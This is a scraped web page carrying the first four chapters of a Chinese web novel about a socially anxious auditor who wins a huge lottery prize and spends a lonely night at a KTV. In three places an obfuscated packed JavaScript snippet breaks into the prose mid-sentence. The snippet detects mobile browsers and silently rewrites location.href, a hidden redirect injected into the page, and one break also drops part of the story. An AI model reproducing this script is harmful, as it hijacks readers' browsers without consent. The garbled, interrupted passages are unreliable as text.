《叶子的流浪笔记》 1. 第 1 章 叶满长了一副倒霉相,是那种走路上会被江湖骗子算命先生一眼叨住,并直言他命途坎坷需要玄学帮助的冤大头。 他今年二十七岁,碌碌无为,做着一份薪水微薄的审计工作,没房没车没未来,却富有一屁股欠款。 然而这一眼看到头的人生里出现了一个意外的岔子,这个岔子让他的人生发生了巨大转弯,从水源贫瘠的小河湾一下转入了广阔的太平洋,他被急流冲刷得头昏脑胀,浑浑噩噩,一时不知该怎样面对接下来的日子。 ——叶满中了一个亿。 四点会计事务所下班,他照常去超市买了打折的菜,走到家楼下的彩票站,他顺路进去买了一张刮刮乐——他常常用这种方式测试自己的运气。 下个月单位要派人去西藏出差,全单位的人除了刚来的实习生都感到焦虑,看领导就跟看阎王似的,生怕被点卯,发配高原。 倒不是说西藏哪儿不好,主要是单位真抠,给的经费不够,说不准去还得搭点儿,根本没有出去玩的时间,更别提万一遇上个高原反应,那完了,遭罪、干不了活儿不说,还得罪领导。 上一回去西藏回来的,过了半年才缓过来。 所长也知道这是个不受待见的活儿,所以一直也没定下来人选,那个鸡贼的老头儿非常善于拿捏,这段时间一直紧紧盯着各个员工,等待他们犯错误,由此提升工作效率。 所里的同事都战战兢兢、如履薄冰,生怕被抓到把柄,叶满都快神经衰弱了,他急需测一下自己的运势。 彩票站不大,满打满算十平米不到,里头挤了两三个中老年人,手上拿着个小本本,仰头看墙上的双色球走势图。 叶满这个倒霉蛋儿买双色球从来没中过,他也不觉得研究那玩意儿真能发大财,这玩意儿靠命。 他的命一向不好。 拿着硬币刮开一张十块钱的刮刮乐,认真对照上面的小动物头,趴着仔细看了一会儿,柜台后替老板看店的路人甲磕着瓜子说:“中了五块。” 净赔五块。 叶满叹了口气,提起自己花了五块买的土豆,准备离开。 刚到门口,就见一个男人跨进店里,嚷嚷道:“老板,双色球开了吗?” 路人甲乐呵呵道:“开了。” 叶满差点忘了,把手伸进牛仔裤口袋,摸摸索索抓出了一团废纸。 他捏着废纸低头看了眼,然后抬头看墙上的电子屏。 再低头看一眼,再抬头看。 最后一个数字“04”对上后,他整个人都处于一个非常平静的状态,甚至心跳也很平稳。 他拎着自己的小土豆走到柜台前,把那一团废纸放在路人甲的瓜子皮小山边上,然后用他一贯丧丧的语气说:“哥,你帮我看看,我看不太懂?” 那人追剧呢,闻言也挺尽职尽责,把瓜子放下,捡起一张白票子。 他手抖了一下,叶满看清楚了,然后自己的心脏后知后觉跟着抖了一下。 路人甲把那一模一样的号码纸数了十张,呼吸都不顺畅了,他抬起头,直直盯着叶满,以一种奇异的语调说:“你中了一个亿!” 店里的几个人全部转头看过来,眼神儿像x射线,把叶满照得通透。 这个光线暗淡的小彩票站一瞬间变得明亮耀眼,耳边都是嘈杂的噪音,而叶满,瑟缩着抱紧了自己的小土豆。 冬城某个犄角旮旯的小彩票站开出一亿大奖的消息第二天登上了本地新闻。 叶满前一夜里都没睡着,躺在自己的老破小出租屋的沙发上,盯着黑漆漆的夜色看了很久。 他失去了人生方向。 他欠的十万块贷款可以还清了,然后呢?他下一步要做什么? 辞职吗? 辞职以后做什么?他没有一点兴趣爱好。 一个亿要交多少税来着?他迷迷糊糊又想到了这儿。 那是一个亿啊……能买多少个这样的房子啊? 夜里太静会导致人意识昏沉,他大脑木木的,想着,自己是在做梦吧? “啪——” 一阵脆响,他捂着脸痛苦地“嘶”了声,从沙发上坐起来,喝了一口温热的凉水。 夏天夜里太热,这个房子不通风,有空调,但是叶满不舍得开,怕浪费电。 他又开始习惯性心算这个月的开支,但是很快,他的心脏被什么“咚”的撞了一下,阵阵发麻,他有些兴奋地想起来——我有一个亿啊! 第二天中午,一只绿了吧唧的卖崽儿青蛙现身彩票领取现场,它迈着扭捏的小碎步,捧着自己那个比例不太协调的大头,在闻讯而来的媒体镜头下,文文静静比了个“耶”。 对于一个从小中规中矩不敢冒头的社恐人士,这个玩偶套装实在是太好的伪装。 此时叶满已经一夜没睡,精神亢奋到有点不正常,头皮都要炸开了。 中奖那个彩票站的老板大姐特意赶回来的,兴奋地抱着青蛙的大头“叭叭”来了两口,壳子下头的脸都红透了。 叶满从来没接受过这样的热情,也没尝试过和人这样近的交流,毕竟,他是一个总是避开人群的社恐。 他踩着小碎步,和过来蹭运气的市民合照,像一个迷路的绿青蛙一样双脚并着、右手比成剪刀,就一直没放下过,被一群人热情簇拥,差点把头挤掉。 他透过玩偶装看外面的世界。大多数时候,他是以一个观察者身份存在在这个世界上,他对这个世界参与度不高,很少与别人产生交集。 他喜欢这样观察别人,幻想与自己观察到的世界进行互动,那些幻想在想象中演绎了一场场电影,回神时他仍在原地,他没有行动,人们也已经走远。 这样热闹的氛围里,他也感到了一点开心。 但深究起来,他感受到的快乐和钱无关,他对钱的多少没有概念,而是,他好像能够稍微参与一下这个世界,而不是一个人的虚无。 把钱存进银行,熟练办理税务,他拒绝了捐款。 捏着剩下的8000万,他做的第一件事,不是买车买房,或者尽情挥霍,而是找了一位市里最贵的心理咨询师,并花了些钱贿赂,希望可以让对方分给自己一点时间。 在他焦急等待了一个下午后,心理咨询师的助理给他打了电话,那时正好下午四点,单位下班。 他挤着塞得满满当当的公交车,鞋差点被弄掉一只,闷热的公车里,他废力掏出手机,点击扫了那位心理咨询师的微信二维码。 他已经期待太久,并且开始想象怎样去诉说自己的情况,该从哪方面入手。 心理咨询师的助理对他说,四点钟心理咨询师已经下班,这是在加班给他做咨询,所以讲话一定要客气一点。 叶满很感激他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424848|169117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,并恭敬地承诺自己一定会的。 到了家附近,他怀揣着那张千万的银行卡,走路都有一点飘,但是更让他感到兴奋和期待的是心理咨询师的回复。 下午阳光很好,他没有立刻上楼,而是在彩票站对面的小广场坐下。 小广场旁边是一个白红色的幼儿园,充满活力和生机,叽叽喳喳的鸟鸣和旁边下象棋的大爷们共同绘成了生机勃勃的烟火气。 以往他可不会在外面坐坐,他下班后只会飞速回到家里,然后反锁门,换下衣服,这样他才会感受到放松。 太阳把木制的座椅烘得干燥温热,他抬起头,看不远处路边嫩绿的垂柳,感觉自己的心难以平静下来。 终于,他呆坐在这里半个小时后,心理咨询师回复了他的消息。 只是一句简单的话:“你出了什么问题?” 叶满呆了呆,盯着那句话看了好一会儿,感觉到一丝别扭。 但是他想,或许是自己太敏感了,他整理好思绪,把刚刚自己编辑的一大段话、甚至要分到两个对话框的消息粘贴在聊天界面上。 他又忍不住担忧地想,心理咨询师会不会觉得他太啰嗦,又或者对他的行为感到反感。 这一次他等了很久,他不得不回到出租屋里,炒土豆的时候他也在时刻关注手机动态,但是手机始终平静。 当他焖完米饭,盘腿坐在地上,准备吃晚饭的时候,他收到了一条消息。 彼时他刚把一口软糯的米饭送进嘴里,迫不及待打开手机,果然是那位心理咨询师的回复。 他说:“父母生你培养你你还想要和他们断绝关系?你太自私了,你已经快三十岁了,该为自己负起责任了,也该回报父母而不是想要逃避责任,怨恨他们、把一切过错推给别人,我最看不起你这种咨询者。” 叶满吃进嘴里的米饭忽然变苦变酸,瞬间发酵了似的,他一下吐了出来,心脏阵阵发麻,仿佛有什么东西充入他的大脑,他感觉到了一种强烈的羞耻感和内疚感,然而,这其中的气愤却少之又少。 他缩在地上,凝视着那句话,眼底慢慢泛酸,他觉得眼泪就要淌出来了,被他强行忍住。 他又陷入了自我责怪中,因为专家说得一定是对的,他认同了自己的自私,且觉得自己提出的“想要和父母断亲”是一个非常没担当、不负责任和逃避的选择。 他时常这样自责,这种时候他总是焦虑又不知所措,尽管他坐在实地上,却总有一种要跌下去的焦虑恐惧感。 咨询师又给他发了消息,以冷漠嫌恶的口吻(叶满是这样脑补的):“你可以预约我一个月后的咨询时间,收费一个小时1500,但咨询是长期的,你看看自己能不能负担得起,再和我的助理谈吧。” 叶满充满羞耻地拒绝了,这又是他身上另一典型的特征——逃避。 他无法和任何让他感到压力的人进行友好相处,那会让他异常紧张痛苦,从而搞砸一切——他有这样的经验,几乎无一例外。 他删掉了心理咨询师的微信,还有那个助理的。 他已经没有了食欲,那盘土豆丝也没再动一下,爬上沙发,关掉所有灯,蜷缩着呆呆看着渐渐加深的夜色爬满屋,窗外小区里的路灯模模糊糊照进来,他又一次陷入焦虑和孤独的死胡同。 他想,再也不要再找心理咨询师了,都是骗人的。 2. 第 2 章 夜一点一点沉寂,他却一点睡意都没有,他经常这样,失眠、胡思乱想、不小心回到过去某一个节点,然后沉浸在尴尬、窘迫和难堪里面没法出来。 这一次,他进入了小时候第一次跟着爸爸去超市的场景。 他在村子里长大,一年也会有几次去城市里的机会,除了每一年快过年去买一套一年里唯一一套新衣裳,其他时候都是他生病的时候,要打针、吃药、住院,每一次都难受得要命,所以他对城市并没有什么好印象。 爸爸倒是经常去城里,走亲戚、应酬、或者出去胡吃海塞,每一次爸爸出门叶满都会很开心,因为他可以一整天不用见到爸爸,那样会让他感到难得的放松。他对爸爸从来没有期待,因为爸爸回家从来不会给他带童话故事书,也不会给他和妈妈带好吃的,他只会带回来满身的酒气,还有满口醉醺醺的牛皮或者是一身戾气,将叶满和妈妈打个半死。 叶满的童年一直在恐惧紧张和焦虑中度过,他之前花不起钱看心理医生时,会在网页的小广告上试着找免费医生咨询,医生对他说,童年时的感受会是他以后一生的感受。 叶满害怕极了,想要再问,医生说要付费。 叶满就赶紧退出来了,贫穷的他只能扣扣搜搜、东一榔头西一棒子地试图解救自己,随着年纪增长,他看上去和正常人没什么两样了,但是,当月光落下的时候,鬼鬼祟祟的他就会现形。 说回超市。 叶满这件事从来没告诉过任何人,当他第一次被心血来潮、难得耐心的爸爸带去一个大超市,里面琳琅满目都是好吃的,像一个巨大的城堡,他开心坏了,但不敢买太多东西,就拿了两盒小饼干,小小个子的他站在陌生的队伍里准备结账时,其实他不明白自己在做什么,但还是乖乖抱着饼干等着。 等终于轮到他们时,收银员向他伸出手,要他的饼干,叶满死死抱着那盒饼干,认为她要抢自己的,他怕失去他没吃过几次的零食,他怕被人拿走。 收银员开始瞪他,并且语气非常不耐烦地说:“给我!” 叶满特别无助,他试图往爸爸身后躲,想让爸爸告诉她,饼干是自己的。 爸爸不耐烦地瞪他。最后是爸爸的朋友温和地将饼干从他手上抽出来,弯腰安慰他:“等一下她就还给你了。” 只有六岁的叶满几乎快哭了,他不敢吭声,眼巴巴看着那收银员,这时候,那个收银员瞄着青色眼线的眼睛又狠狠瞪了他一下。 他害怕得脸色发白,但是还是看着那个饼干。 收银员果然很快把饼干交给他了,但是交给他的时候,她又瞪了叶满一眼,还翻了下白眼,红彤彤的嘴唇上掀,说:“没来过超市?土包子。” 叶满羞窘得满脸通红,在周围穿着光鲜亮丽的同龄小朋友面前深深低下头,他非常无助,诚惶诚恐。 爸爸就在他身边,表情阴沉,也狠狠瞪了叶满一眼。 不知道是不是那件事的影响,叶满每一次进入一家没去过的店铺,或者看起来非常华丽时尚的场合,他都不敢进去。 月亮滤过纱窗慢慢爬上他安稳放在沙发上的指尖,世界安安静静。 宁静的房间里,手机忽然响了一声。 他慢吞吞打开看了一眼,是他的信用卡还款通知。 从刚上大学开始他就申请了助学贷款。 刚刚毕业,他就债台高筑,欠款里边包括他到处找工作的钱、生病住院的、借出去收不回来的,这样零零碎碎积攒了□□万。 半年前,他交了个男朋友,是个家里开烧烤店的,挺有钱,相处半个月左右,他问叶满借钱,说要买个游戏本。 叶满哪来的钱啊,结果那男的问他要了信用卡。 叶满脑子不好,他和人相处得少,不懂人心险恶,也被那人的一再保证迷惑了,就借出去了。 刷了他一万,然后俩人分手了,那人一直说还,但是叶满从来没见过回头钱。 于是他的债台又往上垒了一层。 他又忍不住计算,自己一个月扣掉五险只有四千不到的工资,这不吃不喝要还多久。 其实计算的时候叶满还挺平静的,他对钱一向没什么欲望,一个不知名的网上心理咨询师告诉他,这是因为他找不到自己的精神立足点,内心无力导致的。 肌无力他知道咋整,内心无力可咋办啊? 习惯性犯愁了一下,他点开自己的网上银行,混沌的脑子在看到里边那成串的“0”时,懵了一下,然后他想起来,自己现在有钱了! 捏着手机沉思了一会儿,他忽然坐起来,找了件衣服套上,然后出了门。 彼时午夜十一点。 老年小区里头已经没有几家开着灯,夜路孤独得让人没力气。 叶满裹着外套,加快脚步向小区外走。 经过他每次吃都会坏肚子的那家东北式过桥米线、一家五金店和一家菜鸟驿站,转出小区门口,他走进了那个亮着灯的24小时自动取款机前。 插入卡,他看着里边有点像ps上去的数字发了会儿呆,然后抿唇输入了一个数。 机器运行起来“哗啦啦”响,之前他取一百块的时候也是这样的声音,每次都给他一种自己要取到巨款的错觉。 机器声停止,出钞口打开,吐出了一打钞票。 两万,取款上限。 现在他有钱了,是高级人类了,不用再害怕小饼干了,不用再被白眼了,他要去…… 他将卡和那两万块装进口袋,在路边拦了辆出租车。 他要去挥霍! 十几分钟后,车停在一家KTV门口,门脸富丽堂皇,充斥着有钱的奢靡味道。 清凉的夜灯吹过衣角,叶满指尖有点发凉,抬头看了看那闪烁的金牌匾,揣着那两万块钱,昂头走了进去。 独立包厢里,灯光昏暗,墙壁上屏幕放着MV,当下正火的网络歌曲作为背景音循环播放。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424849|169117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经理训练有素地站在门口,拍拍手,门打开,门口的男人一个接一个走了进来。 都穿着时尚,头发遮到眉毛下边,长得都还行,面嫩得像一群大学生,偶尔见几个看起来年长一点的,估计也没叶满岁数大。 偌大包房,长长沙发上,就他一个人。 他倚靠着靠背,手上捏着一杯酒装样子,脸上不动声色,假装自己这不是第一次干这事儿,都别想忽悠他。 他打量那些人的时候,那十几个男模也在看叶满,或是高傲的,微抬着下巴,连看叶满一下都勉强、或是活泼可爱的,冲着叶满笑,还有腼腆的,不太好意思抬头。 叶满心脏砰砰跳,不想让人看出他的紧张,抬手指了三个,淡淡说:“他们三个。” 经理笑眯眯应声,指的那仨留下了,剩下的很快撤出。 包间门关上,叶满更加紧张,他一声没吭,抬手将杯子里的酒灌进嘴里。 那留下的仨人等不到他说话,自己开始动了。 那个活泼开朗长了张娃娃脸的小奶狗率先走过来,挨着他坐下,语气可温柔了,小声说:“你叫什么啊?” 搁平常,这长相水平的帅哥几乎和叶满没啥缘分,他交往过的都长得很一般,不是因为叶满不挑,而是他压根觉得自己配不上好的。 这一句温柔亲近的搭话,让叶满心情好了一点。 当然,他知道这是明码标价的。 剩下那两个人,稍微腼腆那个栗色头发的文静男生在他另一边坐下,安安静静给他添酒,另一个,那个高冷的干脆距离他们很远,低头玩手机,看也不看这边。 这仨是十几个人里长得最好的,叶满挑的时候没想到这人留下还不给好脸色,心里有点不快。 他忌惮一切不冷不热的人,这种人总是会让他敏感神经紧绷,产生自我怀疑。 他不往那边看了,接过旁边男生递过来的酒,说:“我叫叶满。” 那个活泼的男孩儿忽然伸手挽住了他的胳膊,这亲密举动让叶满一僵,茫然地抬头看他。 有些事儿是装不出来的,比如叶满柔软黑发下那一双无措害羞的眼睛,鹿似的,还有因为紧张倾洒出的一点酒,弄湿了男生的破洞牛仔裤膝盖。 他想道歉的时候,却见男生一点介意的意思都没有,他甚至用一种特别纵容乖巧的眼神儿看自己。 那个文静的男生已经点了歌,坐在他身边,清澈的嗓音哼了两句歌,一边腼腆地和他碰杯。 隔壁包房的歌声隐约传过来,热闹极了,这样的夜里,与他平常的生活相差甚远,好像另一个世界。 他在这个城市九年了,第一次在夜里出行,待了几年的都市给他一种从未了解过的感觉。 拘谨地坐了会儿,这两个人的温驯让叶满渐渐明白过来,他不需要顾及他们的目光,不需要思考他们是否喜欢自己,对自己是否满意。 他现在好像只需要享受有人陪的感觉,就可以了。 3. 第 3 章 因为在帅哥面前的过于害羞,他的话很少,好在那两个专业人士很会说话。 他并没有提及自己的任何信息,但是对他们口里的故事非常感兴趣,比如他们遇见的各式各样的客人、遇到的秘密八卦,里面有他完全没接触过的各种人生。 只有在他们说这些的时候叶满才会好奇地开口,察觉他对这些感兴趣,两个人就轮换着讲故事。 十点,叶满有点喝醉了,抱着个抱枕靠在沙发里歪头听旁边的男模说话,KTV里有一会儿没人唱歌了,只有并不吵闹的背景音,包厢里光线昏暗,叶满看不太清对方的脸,因为醉酒,他觉得对方的声音忽远忽近。 眼前光影轻微晃动,他察觉到一直讲故事的人停止了说话,然后,一阵男士香水的味道靠近。 醉意朦胧里,没见过什么世面、情商局促的叶满和身旁的男模亲了下脸。 太突然了,醉酒导致眼前出了双影,他有点分不清亲自己的是哪一个,伪亲密触碰里、金钱堆砌虚假的暧昧里,他只浅浅尝到了陌生的酒味儿,心跳尚且没来得及加速,下巴忽然被掐住,他的脸被轻轻转了个方向,那张娃娃脸闯进他的视线里。 “我没他好吗?”娃娃脸皱着眉毛,故作不高兴地低低说:“你更喜欢哪一个?” 叶满才反应过来,刚刚亲自己的是文静的那一个。 突如其来的刺激鼓动着怂包子的心跳,有些刻在性格里无法改变的东西——他不想让任何人感到不高兴,虽然他可能意识不到这一刻自己的讨好,稍稍侧头,对着近在咫尺的俊脸轻轻笑了一下。 娃娃脸落在他脸上的目光怔愣,开口说:“你笑什么?还没答呢。” 情商向来局促的叶满紧张得有点同手同脚,下意识想给对自己释放善意的两个人一点好印象,他腼腆地说:“把微信给我。” 昏暗的包房里,叶满手机的光线过亮,二维码过度暴光,让叶满眼部神经有些刺痛,被帅哥迷惑的精神也缓过来一点,他终于想起来明天还要上班,该回了。 叮咚两声,左右两边的人都扫了他的二维码。 叶满看着列表里的两个新对话框,恍惚了一阵儿。 他的微信都是工作消息,还是第一次扩列其他交际。 他随便在对话框里戳了几下,几秒钟后,那个始终文静的男生低呼了一声:“两万!” 他转头看叶满,脸上笑容都更真了点:“谢谢哥。” 叶满愣了一下,他反应过来自己好像多打了个“0”。 他有点心疼钱,但是这情况让对方退回有点太丢人了。 一旁的娃娃脸凑过来看,身体几乎倚在叶满肩上,正在笑。 他只好硬着头皮,给娃娃脸也转了两万过去。 他性格有缺陷,会无原则讨好,即使是面对陌生人也不惜牺牲自己的利益。 娃娃脸收到钱,有点兴奋,凑过去在叶满平庸的脸上亲了一口。 这边的动静引起了不远处一直玩手机的那个高冷帅哥,他收起手机,目光投向这边,不知道在想什么。 几分钟后,他拿着一瓶酒走了过来,站到叶满面前。 叶满以为他早就走了,有些茫然地抬头。 然后他看到那个英俊的男生露出一个浅笑,说:“哥,我敬你一杯。” 叶满:“……” 对人的态度转变向来敏感的叶满心里涌出一阵反感。 他当然知道这是为什么,他不愿意喝他的酒,不愿意给钱,也不愿意刁难人。 “我喝得差不多了。”叶满放下酒杯,说:“该回去了。” 娃娃脸敏锐察觉出叶满的兴致快速减退,在一边仔细观察叶满的表情。 而那个刚过来的男生脸色有些僵,但是仍没走,嗓子压出了气泡音:“我送你吧。” 叶满拿起外套向外走,礼貌地说:“不用了。” 娃娃脸连忙追了上去。 再怎么说,叶满都27了。 他虽然没啥能耐,但这二十出头的小男生们的心思还是看得清。 他拒绝了几个小男模说要送他回家的打算。 “送他回家”的意思当然等于“春宵一度”。 午夜十一点半,他从包厢里出去。 这个时间KTV仍灯火辉煌,金黄富贵的装潢并未完全阻挡两侧包厢的歌声和吵闹声,闷闷传出来,像是闷在被子里的鼓。 他走在其中,又感觉到孤独,娃娃脸陪在他身边,扶着他,担忧地说:“你醉了,让我送你吧。” 高挑的影子几乎将叶满笼罩,他脚步有点晃,摇摇头,问:“你今年多大了?” 聊了那么久,叶满一直没问过他们的信息,这点和别人很不一样。 这会儿单独问了他,刑昭觉得,这个出手阔绰的男人可能是对他有一点好感。 他心情很好,回了实话:“二十。” 叶满问:“在上大学吗?” 刑昭点头:“嗯,读大二。” “读书的钱不够吗?”叶满忽然这样问道。 刑昭没第一时间回答,他其实没那么缺钱,干这个也不过是无聊赚个外快。 他观察这个长相清秀的男人的表情,装出苦涩的语气博同情:“嗯,赚钱交学费。” 叶满沉默了一会儿,忽然停住。 刑昭跟着他停了,他下意识以为自己的谎话被发现了。 叶满靠墙站稳,摸向自己的口袋。 “哥,你……”刑昭愣了一下,握着手上那一打厚厚的钞票,抬头看他,低低说:“很有钱吗?” 叶满摇摇头,他仰起头,拍拍这个185的大个子的肩,笑容和煦温暖,像个暮气沉沉的好大哥:“好好读书。” 刑昭这次没吭声,只抿唇看着他,没再说些花言巧语。 只是叶满没心思管他了,他拔腿跑进了对面的洗手间。 洋酒太刺激胃,他晚上没怎么吃饭,这会儿一直想吐。 躲进熏了香的豪华洗手间,他让追上来的小男模出去,狼狈地缩在隔间里,干呕让他的眼泪不受控涌了出来,刚刚被帅哥亲吻的兴奋因为这种难受也变得恶心,积累的愉悦像马桶的水一样,留不住、转瞬漏了干净。 他开始感觉到孤单、无助,他后悔了,自己不该去尝试另一种生活的,如果他现在在出租屋里,说不定已经睡着了。 他一直处于这种状态,脚踏不到实地,干什么都觉得没意义,也很难留住快乐。 “咚咚咚——” 在他几乎要沉溺进那种极端情绪里时,隔间门被敲响了。 他收敛好表情,将门打开一条缝隙。 借着洗手间不太明亮的灯光,他看清外面站着的人,是那个今晚始终高冷的男模。 “叶哥,我送你回去吧。”他看着叶满,眼睛里好像有化不开的深情似的,让叶满有一种这人很在乎自己的错觉。 叶满缓缓用纸巾擦了擦嘴,低下头,黑发在眼前划过一抹晦暗的弧度,他平静地说:“你不喜欢男人。” 那看上去二十二三岁的小男模怔了一下,然后上前一步,拉开隔间门,说:“什么都有第一次,我喜欢你。” 叶满今天晚上和他说的话,加起来还不到三句。 从小没被喜欢过的叶满第一次察觉,一句“喜欢”竟然这么容易得到。 他摇摇头,抬步准备离开,手臂却忽然被抓住。 他对粗鲁的肢体动作分外敏感,几乎是低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“没事,”那酷哥儿不怎么当回事儿地答了句,手放在流动的水下头,从透亮的镜子里瞧了他一眼,说:“一个人在外面别漏财。” 这人个子太高了,上戳天下杵地的,叶满心里偷偷地想。 他气势太强,叶满在他面前被压得抬不起头,丢脸地揪住衣角,觉得自己难堪得耳朵都红了。 他就是一个暴发户,根本没有钱过,不懂这个。 他老老实实点了头,又乖乖说:“我知道了。” 男人没再说什么,擦了擦手,就抬步离开了洗手间。 叶满这时候才敢抬头看看他离开的方向,心里有些犯贱地想着,能谈个这样儿的试试就好了。他也就是想想,就像有时候幻想自己会忽然变成奥特曼随手能抓起一栋楼扔到他那讨厌的同事脑门儿上一样。 这时候邢昭进来找他,看到眼睛泛红的叶满,连忙关切地上来扶他,叶满没说话,用冷水洗了把脸,终于让自己发麻的身体缓和了一点。 “你能……能帮我个忙吗?”叶满深呼吸一下,问道。 他让邢昭查了那人的包房,偷偷在前台给他付清了包厢费用,才心安理得地离开。 到家的时候已经后半夜,他捧着手机查了自个儿的存款,今晚支出六万多。 这是他一年的工资。 他以前想象过自己有钱会怎么挥霍,但是躺在自己的小床上,睡着用了七八年、已经洗得褪色的床单,他发现自己花了这么多钱,却只买回了空虚和疲累。 他很难留住快乐,过度放纵透支了他为数不多的力气,他伪装成正常人的拙劣演技还是吓到了别人,回归一个人的时候,只会成倍痛苦难过。 他再也不会轻易动这笔钱了。 4. 第 4 章 第二天早上,他又兢兢业业赶公交去了单位,拥挤颠簸的公交车上,他用两只脚紧紧抓地保持平衡,然后用刚发的工资还上了这个月的贷款和信用卡。 他还是老样子,日复一日坐在工位前干那些枯燥的活儿。 办公室里也还是那样,坐对面的大哥正炫耀他刚从精品超市买的水果,已婚的副所长正和他女儿差不多大的女同事眉来眼去、相互撩拨。 他面色萎靡,黑眼圈儿压在已经长长的卷毛儿底下,这个工作忙起来是真忙,不忙的时候会闲得长蘑菇。 他用手敲着键盘,在领导经过时假装很忙碌,领导走了,他又趴在桌上准备瞌睡。 “叶满,你昨天晚上干什么去了?”对面的同事大哥拿着他那精品砂糖橘,探头过来,小眼睛将他从上到下打量了个遍,咂咂嘴道:“你不会有对象了吧?” 叶满:“……” 他声音大得足够整个办公区都能听见,叶满旁边的同事同情地看了萎靡不振的叶满一眼,接收到叶满茫然的眼神儿时,唇角下撇,给了他一个自作多福的信号。 办公室里就这么大,却囊括了各式各样的人,叶满平时在单位里是少言寡语,不合群的那类,而这位大哥是出名的交际花。 他最大的乐趣就是挖掘同事的隐私,并且津津有味地扩散到整个办公室,被他盯上,非要纠缠一会儿才能脱身。 叶满埋下头,慢吞吞说:“失眠。” 那大哥没放过他,热切道:“又失眠?上回告诉你的法子没用?” 叶满经常失眠,这应该是从他小时候开始的,那时和父母住在一起,每天晚上七点钟就必须关灯,爸妈可以看电视,但是他不能看,只要不留神动弹一下就要被狠狠骂,多数时候,他就只能缩在被子里,看着墙上电视机变换的颜色,像一团团神秘而玄幻的诡异图案。 然后他必须要强迫自己快点睡着,因为妈妈会在不经意的时候突然出声,让他赶紧睡觉,叶满感觉自己时时刻刻都被窥视着,不得喘息。有时候他好不容易睡着了,都是被妈妈吓醒的,她诬赖自己在看电视,只要妈妈开口说这样的话,爸爸就会发出一个非常有威严的、厌恶不耐烦的“啧”,他不用发出别的声音,叶满就会被吓得鼻腔都发咸。 所以,他必须从晚上七点睡到第二天早上六点,妈妈说睡觉长个子,但是叶满只收获了频繁的偏头痛,爸妈又认为那是因为他不好好吃饭。 成长过程中,睡眠障碍几乎一直伴随着他,他总是充满各种各样的烦恼,有事就睡不着。 年纪大了以后,身体出现各种各样的小问题,他开始意识到自己再熬夜就没钱看病了,所以尝试早睡,中间障碍重重。 他在庙里求了佛珠,但是只管用了一个星期左右,他又去道观里求符咒,但还是会半夜醒来,后来他开始找偏方,现在他的床头挂满法器,甚至还有一个印第安人的捕梦网,该神经衰弱还是神经衰弱。 同事大哥告诉他在枕头下放一把见过血的菜刀,他也试了,但是只管用了一晚。 他含糊回了句:“没什么用。” 大哥很不满意他的答复,立刻开始滔滔不绝:“那肯定是你的问题,别人用着都管用,怎么就你不管用呢?是不是没用我告诉你的法子?” 叶满精神恍惚,梦游似的,也没吭声,电脑上微信图标跳了几下,他随手点开,见微信里面多了几条新消息,有刑昭的,还有昨晚那个文静的男孩儿的。 刑昭给他发了上课照片,问他吃没吃饭,要不要给他点外卖,话里话外都是想继续发展的意思,另一个文静的小男孩儿也是。 叶满没回,随手点了删除好友。 这些他以后都不会再有交集的人,他不会留在列表里。 挨个把未读消息的红点点掉,发现底下还剩一个“1”,一条消息未读。 无聊之下,他强迫症有点犯了,他扒拉着列表,非要找到那个漏网之“1”,把公众号推送都点完了,他才发现,那是来自好友申请界面。 早上领导让他和一个新合作方对接,这位应该就是了。 他随手点了同意申请,红点终于消失,他也稍微舒服了一点。 等着对面把资料发给他的过程中,对面大哥还在滔滔不绝:“你今晚再试试,我就不信不管用,人家大师都说了管用的。” 办公室里安安静静,都在对着电脑,就只有那大哥一个人的声儿,而被他针对的叶满也被迫成为焦点,这让他又开始心烦。 微信图标跳了跳,他皱着眉打开,里边有一条新消息,写着:“昨晚是你帮我们付了账吧?” 叶满一愣,紧接着稍稍提了一口气,紧张地看着对话框。 是昨天帮他的那个男人。 “是……”他不知道对方什么意图,犹犹豫豫打字:“是我,有什么事吗?” 紧接着,他迅速输入:“不用还给我,我很有钱。” 对面的正在输入停了,一两秒后,又开始正在输入。 叶满说完以后就后悔了,这样说对方会不会对他印象很差、觉得他很装? 想起昨晚在洗手间里遇见的那人,叶满心脏砰砰跳了两下,其实那个男人真的老帅了,但是他那会儿都不敢多看人家。 “行吧。”对面发过来一条。 叶满不知道自己应该回什么了,他的情商一向局促。 对方也没再发消息,对话框沉默了下去。 一直到下午四点下班,他都快把这事忘在脑后了,去菜市场的公交上,他的手机响了一声。 那个名字叫“竞”的对话框里更新了一条新消息:“请你吃个饭吧,我们今天在景湖边上露营。” 叶满下意识看向窗外,金灿灿的下午阳光落在水波浩渺的景湖上,湖边垂柳依依、红色干净的塑胶道路环湖而建,向里边近水的地方,偶尔能遥遥看见几个帐篷,这里离他租的房子很近,他常常能看见那些露营的人。 他又买了几颗小土豆,顺便买了一盒牛肉和一袋鱼丸。 回到家里,他把脏衣服扔进洗衣机,开始周五例行大扫除。 他有点洁癖,每周五,他会把出租屋每一个房间都打扫得干干净净,并用消毒水进行一次杀菌。 一般会收拾几个小时时间,电视里放着他最喜欢的喜剧,他边干边听,这是他难得的享受时间。 